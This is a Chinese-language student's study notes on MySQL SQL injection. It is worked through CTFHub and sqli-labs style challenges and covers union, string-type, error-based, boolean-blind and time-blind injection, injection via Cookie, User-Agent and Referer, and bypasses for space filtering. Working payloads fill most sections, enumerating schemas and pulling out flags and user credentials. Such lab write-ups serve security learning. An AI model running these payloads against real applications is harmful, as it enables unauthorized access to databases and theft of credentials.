该SQL注入文档是自己在学校学习过程中的记录汇集(不涉及WAF拦截或参数过滤),文档中涉及到的数据库管理系统为MySQL。现将文档整理出来,留作自己的学习记录历程。每个注入类型将会有一到两个例子辅助说明。
SQL 整型注入
相关知识
一、常用函数
1、database()
:当前网站使用的数据库。
2、version()
:当前MySQL版本。
3、user()
:当前MySQL的用户。
二、关于information_schema的数据库
MySQL默认有information_schema
的数据库,该库中有三个表名,功能分别如下:
SCHEMATA
:存储该用户创建的所有数据库的库名,记录库名的字段为SCHEMA_NAME
。TABLES
:存储该用户创建的所有数据库的库名和表名,记录库名和表名的字段为TABLE_SCHEMA
和TABLE_NAME
。COLUMNS
:存储该用户创建的所有数据库的库名、表名和字段名,库名、表名和字段名为TABLE_SCHEMA
、TABLE_NAME
和COLUMN_NAME
。
三、union函数
union
操作符将两个SQL查询语句连接了起来,当设置某个参数不存在时,由于没有该参数的数据,因此会返回union
后的查询语句的结果。
相关练习
CTFHub(整数型注入)
1、先简单试着输入了几个数字测试,到3时就无输出了,接着尝试1 and 1=1
成功出结果,1 and 1=2
无结果,SQL语句成功执行,存在注入点。再用联合查询order by
测试回显字段数,结果测试到1 order by 3
时与前面的输出不同,则字段数为2。
2、接下来就是使用union
函数联合搜索了,由于字段数为2,故尝试
-1 union select 1,2
成功执行,回显的字段如下:
说明两个字段位置都可以回显。
3、接下来就是枚举出当前的数据库名,语句如下:
-1 union select 1, databases()
成功出当前库名:
4、当前数据库名出来后接着联合搜索表名,使用语句如下:
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'
发现在information_schema
中查到两张表,如下:
5、查到flag表后,接下来就是继续拼接命令查字段名,如下:
-1 union select group_concat(column_name),2 from information_schema.columns where table_name='flag'
查找到flag字段:
6、根据库名、表名和字段名查字段值,命令如下:
-1 union select flag,2 from sqli.flag
执行,成功得到flag
SQLI(SERIES-2)
1、先尝试添加一下?id=1'
结果报错:
接着再在上面的基础上在加一个'
号,继续报错,如下:
同时再用1 and 1=1
(成功)和1 and 1=2
(失败)命令简单判断了存在的是整型注入,此时根据上述的错误提示确定相关SQL执行语句大致为:
select * from * where id=$id limit 0,1
确定存在有整数注入。
2、使用order by
来确定字段数,到1 order by 4
时返回错误,可知字段数为3:
3、枚举当前数据库,构造语句为:
-1 union select 1, 2, database()
可知当前数据库名为security
。当然此处也可以通过构建语句如下:
-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
即在information_schema表中查看数据库中的库名,如下图:
若库多的话就会不了解当前数据库对应库名,此处除了数据库默认的相关库之外,只有额外的3个库,dvwa
、challenges
、security
,简单排除测试以了解其当前数据库即可。
4、枚举security
下的表名,使用的语句如下:
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
成功得到表名:
5、枚举字段名,使用的语句如下:
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
成功拿到相关字段名:
6、枚举字段的数据项,使用的语句如下:
-1 union select 1,group_concat(username),group_concat(password) from users
成功拿到用户名与密码:
SQL 字符型注入
相关知识
字符型SQL注入的关键——引号的闭合
MySQL数据库对于引号的规则如下:
- 引号必须成对出现,否则数据库就会报错。
- 如果两个引号之间内容为空,数据库自动忽略。
MySQL 有三种常用注释符:
--
:注意,这种注释符后边有一个空格,也可以是--+
、--%20
或-- '
、-- #
等#
:通过#进行注释/* */
:注释掉符号内的内容
相关练习
SQLI(SERIES-1)
1、先尝试一下?id=1
,此时命令正常执行,如下:
接下来就是判断此SQL是整数型注入还是字符型注入了,基于上条命令在后面添加 '
尝试一下,此时页面显示错误,可见单引号被后台数据库成功执行,如下:
再在后面添加一个 '
,此时的SQL执行条件语句为?id=1''
,正常执行:
然后在基于and条件命令来验证一下判断,使用1' and 1=1
报错,无法进行注入,故加注释来进行绕过,尝试1' and 1=1 -- '
成功执行,如下图:
后又执行1' and 1=2 -- '
,逻辑判断错误,报错。此时可以根据上述执行结果确定后台执行的SQL命令语句大致为:
select * from * where id='$id' limit 0,1
存在字符型注入。
2、使用order by
确定字段数,先拼接的字符串为1' order by 1 --+'
,当尝试到4的时候返回了错误,则可以确定字段数为3,如下:
3、使用union
来判断各字段的类型以及判断能够在页面显示的字段,语句为:
-1' union select 1,2,3 --+'
第二个和第三个字段成功回显。
4、开始枚举数据库名,构造语句为:
-1' union select 1,2,database() --+'
获取到当前数据库名:
5、枚举表名,构造语句为:
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+'
结果如下:
6、枚举字段名,语句为:
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+'
结果如下:
7、枚举字段的字段值,语句如下:
-1' union select 1,group_concat(username),group_concat(password) from users --+'
结果如下:
SQL 报错注入
相关知识
产生原因:MySQL报错注入通过构造相关语句让信息通过错误提示回显出来,主要应用于查询不回现内容,会打印错误信息;Update、insert等语句,会打印相关错误的信息。
主键重复报错
利用floor()
函数使SQL语句报错,实际上是由count()
、rand()
、group by
三个函数语句联合使用造成的。
使用到的相关函数介绍如下:
count()
:该函数返回匹配指定条件的行数。count(*)函数返回表中的记录数。floor()
:该函数是用来向下取整的,相当于去掉小数部分。rand()
:该函数是随机取(0,1)中的一个数。但是给它一个参数0后,即rand(0)
,并且传给floor()
后,即:floor(rand(0)*2)
它就不再是随机了,是一个序列 0110110。concat()
:用于连接两个字符串。group by x
:根据x的规则对数据进行分组,分组时,MySQL会建立一个临时空表进行分组。0x26
:16进制数值,ASCII为“&”,在回显中起到分隔作用,可换其它。
报错注入使用到的相关构造语句如下:
语句一:
select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
语句二:
select count(*) from information_schema.tables group by concat((查询语句),floor(rand(0)*2))
注:该语句将输出字符长度限制为64个字符。
上述两个语句原理基本是相同的,下面由里向外主要分析一下上方第一条相关语句:
上述语句中floor(rand(0)*2)
,rand()
函数会随机产生[0,1)之间的浮点数,如图:
且rand()
函数可以自己设置随机种子,即rand(N)
,这个时候产生的随机数是伪随机数,也就是说多次生成的随机数是相同的,如图:
floor(N)
函数会返回一个小于或等于传入的参数的最大整数(相当于截断小数部分),如图:
多次尝试后可以看出floor(rand(0)*2)
的值是相同的,为011011011,这也是整个报错语句的关键。
接下来分析concat()
函数,该函数主要作用是拼接字符串,0x26
的ASCII码是&
,主要是用于分割其他字符串,就可以快速定位相关信息,括号后面有个x
,是as x
的简写,即前面语句的另一个名字,主要是为了减少重复复杂的语句。
后面的group by x
与count(*)
上述函数功能已介绍,其常用用法如下:
最初时,user-count(*)
这个数据表是空的,由MySQL临时创建出来的,通过上述命令一行一行读取原数据表mysql.user
字段,如果读到的字段在user-count(*)
不存在,就将它插入,并且将对应的count(*)
赋为1,如果存在,就将其对应的count(*)+1
,直至扫完整个数据表。
rand(0)*2报错原理:
原因是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次。这就是整个语句报错的关键,从上述floor(rand(0)*2)
图中可以看到在一次多记录的查询过程中floor(rand(0)*2)
的值是定性的,为011011…(这个顺序很重要),相关流程如下:
- 查询前默认会建立空的虚拟表
- 取第一条记录,执行
floor(rand(0)*2)
,发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)
会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕 - 查询第二条记录,再次计算
floor(rand(0)*2)
,发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)
不会被计算第二次,直接count(*)加1,第二条记录查询完毕 - 查询第三条记录,再次计算
floor(rand(0)*2)
,发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)
被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了 - 整个查询过程
floor(rand(0)*2)
被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。
如果有一个序列开头是0,1,0或者1,0,1,则无论如何都不会报错了,因为虚表开头两个主键会分别是0和1,后面的就直接count(*)
加1了
rand()*2报错原理
其实rand()*2
报错原理与上述的rand(0)*2
原理相同,主要是要保证在开始的查询结果中,不能让虚表中存在0,1键值,不然之后无论多少条记录都不会在报错了,例如随机数:0100011在第一次取数据时插入了1,第二次取数据时插入了0,以后不会再存在主键重复的可能,就不会再报错了,因为表中已经存在0和1这两个数据。
需要注意的是,rand()*2
当有两条记录的时候就可以报错(但是不绝对),而rand(0)*2
只有当有三条数据记录数及以上才能报错(但是一定可以报错)。
xpath语法错误报错
从MySQL 5.1.5开始提供两个XML查询和修改的函数,extractvalue()
和updatexml()
。extractvalue()
负责在xml文档中按照xpath语法查询节点内容,updatexml()
则负责修改查询到的内容。
1、XML函数之ExtractValue()
报错原理:从目标 XML 中返回包含所查询值的字符串。其用法格式如下:
extractvalue(XML_document, XPath_string);
其中:
- 第一个参数:XML_document是 String 格式,为 XML 文档对象的名称。
- 第二个参数:XPath_string ( Xpath 格式的字符串)
则ExtractValue()
函数构造语句如下:
select extractvalue(1,concat(0x26,(查询语句),0x26))
注:extractvalue()
只能查询32位及以内长度的字符,当超出32位时,我们要结合mid()
、substr()
或配合right()
等函数使其改变输出来进行注入。
示例:
2、XML函数之updatexml()
用法格式:
updatexml(XML_document, XPath_string, new_value);
其中:
- 第一个参数:XML_document是String格式,为XML文档对象的名称。
- 第二个参数:XPath_string (Xpath格式的字符串) 。
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据 。
则updatexml()
函数构造语句如下:
select updatexml(1,concat(0x26,(查询语句),0x26),1)
updatexml()
函数同ExtractValue()
函数只能查询32位及以内长度的字符,当超出32位时,我们要结合mid()
、substr()
或配合right()
等函数使其改变输出来进行注入。
示例:
CTFHub(报错注入)
1、简单输入几个数字,皆成功执行,又用and检查了一下,执行的SQL语句类似整数型的注入,测试发现命令只要不是语法错误皆会执行成功并返回“查询正确”的字样,无其他信息,此时使用1 order by 3
确认了字段数为2。
2、由于题目是利用报错注入进行,故枚举库名,构造执行语句如下:
-1 union select count(*),concat((select database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x
成功执行,如图:
此处也可以使用语句:
-1 union select count(*),concat((select schema_name from information_schema.schemata limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
然后控制limit语句挨个查看相应库名。
3、枚举表名,将上述语句简单变换一下,即:
-1 union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
控制limit语句成功爆出2个表名,flag表名如下:
4、枚举字段名,构造语句为:
-1 union select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
控制limit语句成功得到相应flag字段名:
5、枚举字段的数值,获得flag,使用语句为:
-1 union select count(*),concat((select flag from sqli.flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
结果如图:
SQL 布尔注入
相关知识
布尔型
布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。
盲注
在注入时页面无具体数据返回的注入称之为盲注,一般是通过其他表现形式来判断数据的具体内容
布尔型盲注
页面在执行SQL语句后,只会显示两种结果,这时可通过构造逻辑表达式的SQL语句来判断数据的具体内容。
使用到的函数功能及介绍如下:
length()
:返回字符串的长度。substring()
或substr()
:可以截取字符串,可指定开始的位置和截取的长度,结合ascii()
使用。mid()
:同substring()
。ord()
:可以返回单个字符的ASCII码,反之char()函数可将ASCII码转换为对应的字符。ascii()
:获取字符的ASCII码。
CTFHub(布尔注入)
此处自己根据原理编写了脚本工具完成,遂只记录注入关键过程。
1、猜测数据库中表的数量,构造语句:
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
最后的数值为2时,提示success
,说明该库下有两张表:
2、此时我们有表的数量,但无库名,后面也比较难进展下去。故使用ord()
与substring()
函数配合查库名,构造语句为
1 and (select ord(substring(database(),$num,1))) = $ascii_num
其中$num
配合substring()
函数为你需要查询的字符段,$ascii_num
为待查字符的ASCII码,这一过程比较痛苦。因为不知道库名长度及格式情况下要查的挺多,当然此处也可以二分法查找,利用>
或<
号锁定范围,根据返回error与success判断区间。
于是,为了减少自己的工程量,此处自己根据原理就编写了一份脚本解决(后续相关查找皆配合自写相关脚本得以解决)。
3、根据上述表的数量得知为2,于是我们再来猜表名长度,构造相关语句:
1 and (select length(table_name) from information_schema.tables where table_schema=database() limit $table_num,1)=$num
其中$table_num
值从0开始,$num
为阿拉伯数字,表示表的长度。
上图得知第一个表名长度为4,经手工测试发现另一个表名长度也为4。
4、接下来根据表名的长度值确定表名,构造语句为:
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit $num1,1),$num2,1))=$ascii_num
其中,$num1
为第一个表名值,从0开始,0表示第一个表,$num2
为待查询表名字符,由1开始递增,1表示查询表名第一个字符,$ascii_num
为ASCII码。
上图查找后第一个表名为news,第二个表名为flag,此处查找借助脚本完成。
5、根据上述表名,在查询表中的字段数,构造语句:
1 and (select count(column_name) from information_schema.columns where table_name='$table_name')=$num
其中$table_name
为上述查找到的表名,$num
为字段数,即枚举表中有多少字段,此处耗时不长,就两个表需要确认字段。
由上图得知news表有两个字段,而另一张flag表查找后发现就1个字段.
6、根据上述得到的相关字段数确定每一列长度,构造语句为:
1 and length(substr((select column_name from information_schema.columns where table_name='$table_name' limit $num1,1),1))=$num2
其中$table_name
为待确定的表,$num1
为待确定的第几列字段,从0开始,$num2
为待确定的该列字段的长度值。
由上图得知flag表第一个字段长度为4,另一张news表经测试发现第一个字段长度为2,第二个字段长度为4。
7、根据字段长度确定字段名,构造语句为:
1 and ascii(substr((select column_name from information_schema.columns where table_name='$table_name' limit $num1,1),$num2,1))=$ascii_num
其中$table_name
为待确定字段值的表名,$num1
为待确定的第几列字段,从0开始,0表示第一个字段,$num2
表示该列字段的第几个数值,从1递增,1表示第一个,此处排查很耗费时间,可以借助二分法查找。
由上图得知flag表的第一个字段的第一个值ASCII码值为102,即f,查完后该字段值为flag;另一个表名news的第一个字段名为id,第二个字段名为data。此处为查找方便故使用脚本解决:
8、根据数据库名、表名、字段名确定字段的值,构造语句为:
1 and ascii(substr((select $column_name from $table_name limit $num1,1),$num2,1))=$ascii_num
其中,$column_name
为字段名,$table_name
为表名,也可以是库名.表名
的形式,$num1
为第几行的值,从0开始,0表示该字段中的第一行值;$num2
表示该行字段的第几个值,从1递增,1表示该字段的第一个值,$ascii_num
表示ASCII码。
上图可知,news表中id字段第一行第一个值的ASCII码值为49,即1。由于此处news表不是我们的目标数据表,遂直接跑flag表,直接上脚本跑得flag表,结果如下:
可知flag字段值为ctfhub{1f7aaf763a54c3ec1a39a01f}
。
SQL 时间盲注
相关知识
时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据
时间盲注一般步骤如下:
- 构造一个payload,payload内的延迟函数设置参数为
t
,如果满足某种条件,则延时t
秒之后返回;否则直接返回。 - 发送payload,观察执行时间,从而推断出条件是否满足。
- 重复上述两步,直到推出所有信息。
使用到的函数功能及介绍如下:
sleep(t)
:延时t
秒钟。这个函数返回值是0。length(str)
:返回str
的长度。substring()
或substr()
:可以截取字符串,可指定开始的位置和截取的长度,结合ascii()
使用。mid()
:同substring()
。left(str,len)
:字符串左截取函数,返回str
的左len
个字符。right(str,len)
:字符串右截取函数,返回sre
的右len
个字符。ord()
:可以返回单个字符的ASCII码,反之char()
函数可将ASCII码转换为对应的字符。ascii(str)
:获取str
字符的ASCII码,如果str
是空串,则返回0;如果str
是NULL
,则返回NULL
。if(expr1, expr2, expr3)
:逻辑判断函数。如果expr1
为真,则执行expr2
,否则执行expr3
。
CTFHub(时间盲注)
此处因时间关系未编写相对完善的脚本了,基于ctfhub技能树的flag字段值皆是在sqli.flag表中,故此处只说明注入流程及实现。
注:SQL语句构造千千万,下方只是个人实践并根据执行逻辑总结出来的语句。
1、根据上述的相关知识,开始尝试注入,先编写语句为:
1 and if(1=1,sleep(3),0) --+
浏览器窗口明显的延迟,故语句注入成功,如图:
后又根据单引号'
与右括号的闭合尝试执行)
,发现均没有执行到if里面的sleep()
函数,故可以猜测SQL语句是整型注入的语句。
2、猜一下数据库名的长度值,构造语句为:
1 and if((select length(database()) as db_name_length)=$num,sleep(3),1);
其中$num
为数据库名的长度值,当值为4的时候,延迟函数执行了,如图:
由此可知数据库名长度为4。
3、知道数据库名长度为4后,开始枚举一下当前的数据库名,构造语句为:
1 and if(ascii(substring(database(),$num,1))=$ascii_num,sleep(3),1) --+
其中$num
为该库的第几个字符值,从1开始递增,$ascii_num
为对应的ASCII码,此处也可以使用二分法查找,执行后观察控制台,延迟了3秒,故语句执行成功,如图:
上述图可知,ASCII码为115,即数据库名第一个值为s时执行了延迟函数,后面同理推断出数据库名为sqli。
4、根据库名开始枚举表的数量,构造语句为:
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=$num,sleep(3),1) --+
其中$num
为表的数量值,但该值为2的时候,延迟函数成功执行,如图:
上述图说明库中有2张表,开始下一步。
5、根据表的数量开始查表名的长度值,构造语句为:
1 and if((select length(table_name) from information_schema.tables where table_schema=database() limit $table_num,1)=$num,sleep(3),1) --+
其中$table_num
为表的数量值,从0开始,0表示第一张表,$num
表示长度值,当$table_num
为0$num
为4的时候,延迟函数执行,此时可知第一张表的长度为4,如图:
查询另一张表得知另一张表的长度值也为4。
6、根据表的长度值及数量值开始枚举表的字符值,构造语句为:
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit $table_num,1),$num,1))=ascii_num,sleep(3),1)
其中$table_num
为待查询的表的列值,0开始递增,0表示第一列的表,$num
表示该列表名的第几个字符,1开始递增,1表示第一个,$ascii_num
表示ASCII码值。
由上图可知第2张表的第一个字符值ascii码为102时延迟语句执行成功,该ASCII码对应字符为f,继续推断后续的字符值后得知该表名称为flag,另一张表名为news。
7、根据表名开始枚举表中的字段数,构造语句为:
1 and if((select count(column_name) from information_schema.columns where table_name='$table_name')=$num,sleep(3),1)
其中$table_name
为待查询的表名,$num
为待查询的表名中的字段数。结果如下:
由上图可知flag表中的字段数为1的时候,延迟函数执行,故flag表中只有一个字段;查询另一张news表中有两个字段数。
8、根据字段数、表名开始枚举字段长度,构造语句为:
1 and if((select length(column_name) from information_schema.columns where table_name='$table_name' limit $num1,1)=$num2,sleep(3),1)
其中$table_name
为待查询相关字段数的表名,$num1
为待查询的第几个字段,从0开始递增,0表示第一个字段,$num2
表示字段的长度值,如图:
由图可知,flag表中第一个字段的长度值为4;news表中第一个字段长度值为2,第二个字段长度值为4。
9、根据字段长度枚举字段值,构造语句为:
1 and if(ascii(substr((select column_name from information_schema.columns where table_name='$table_name' limit $num1,1),$num2,1))=$ascii_num,sleep(3),1)
其中$table_name
表示待查询的表名,$num1
表示待查询的字段,0开始递增,0表示第一个字段,$num2
表示该字段的第几个字符,1开始递增查询,1表示第一个字符,$ascii_num
表示对应ASCII码,如图:
上图可知flag表中第一个字段的第一个字符的ASCII码值为102,即f,延迟函数执行成功。并同理算出完整的字段为flag;news表第一个字段为id,第二个字段为data。
10、根据上述的库名、表名、字段名,就可以开始算字段对应的值了,构造语句为:
1 and if(ascii(substr((select $column_name from $table_name limit $num1,1),$num2,1))=$ascii_num,sleep(3),1)
其中,$column_name
为字段名,$table_name
为表名,也可以是库名.表名
的形式,$num1
为第几行的值,从0开始,0表示该字段中的第一行值,$num2
表示该行字段的第几个值,从1递增,1表示该字段的第一个值,$ascii_num
表示ASCII码。
由上图可知,flag表中的flag字段第一行的第一个字符值的ASCII码值为99,即c,于是根据后面的测试,得到字段值为ctfhub{514f8991817a193a354e1939}
,提交,成功通过。
SQL Cookie注入
此处的注入点为Cookie字段了,原理是后台在接收Cookie字段时没有对Cookie做过滤。正常情况下,我们在进行渗透测试的时候,Cookie字段也可用作一个注入点。
CTFHub(Cookie注入)
1、这次打开链接发现输入的参数在cookie中了,遂借助EditThisCookie工具修改cookie值提交请求。
2、使用order by
与union
确定字段值与回显字段后,构造语句:
-1 union select 1,database()
得到当前数据库名,如图:
3、根据库名枚举表名,构造语句为:
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
成功得到表,如图:
4、根据表名枚举字段名,语句为:
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='wtosponpou'
成功得到字段名:
5、根据字段名枚举字段值,相关语句为:
-1 union select 1,group_concat(gmbwiemzxe) from sqli.wtosponpou
成功得到flag:
SQL UA注入
注入点变成了浏览器的User-Agent,原理是后台在接收UA时没有对UA做过滤。
注入利用方法同SQL Cookie注入,此处不在概述。
SQL Refer注入
注入点变成了Refer字段,注入原理是后台在接收Refer时没有对Refer做过滤。
注入利用方法同SQL Cookie注入,此处不在概述。
SQL 过滤空格
相关知识
SQL注入时,空格的使用是非常普遍的。比如,我们使用union来取得目标数据,构造语句时在and两侧、union两侧、select的两侧,都需要空格,而过滤空格,也是防注入的一种手段。
其可以绕过的方式如下:
一、注释绕过空格
这是最基本的方法,在一些自动化SQL注入工具中,使用也十分普遍。在MySQL中,用
/*注释*/
来标记注释的内容。比如SQL查询:
select user() from sqli;
我们用注释替换空格,就可以变成:
select/**/user()/**/from/**/sqli;
二、括号绕过空格
空格被过滤,但括号没有被过滤,可通过括号绕过。在MySQL中,括号通常是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
有这样的一条SQL查询:
select user() from sqli where 1=1 and 2=2;
如何把空格减到最少?
观察到user()可以算值,那么user()两边要加括号,变成:
select(user())from sqli where 1=1 and 2=2;
继续,1=1和2=2可以算值,也加括号,去空格,变成:
select(user())from sqli where(1=1)and(2=2);
sqli两边的空格,通常是由程序员自己添加,我们一般无法控制。所以上面就是空格最少的结果。
CTFHub(过滤空格)
1、过滤空格,顾名思义就是将SQL语句中的空格给注释掉。下面将使用注释符进行绕过。老方法,先使用order by
和union
判断字段数与回显值,构造相关语句:
-1/**/union/**/select/**/1,database()
成功出库名:
2、枚举表名,构造语句为:
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
成功得到表,如图:
3、根据表名枚举字段名,构造语句:
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ptmgnbdssq'
成功得到字段名:
4、根据
4、字段名枚举字段值,构造语句为:
-1/**/union/**/select/**/1,group_concat(qfbfzkcbul)/**/from/**/sqli.ptmgnbdssq
成功得到flag: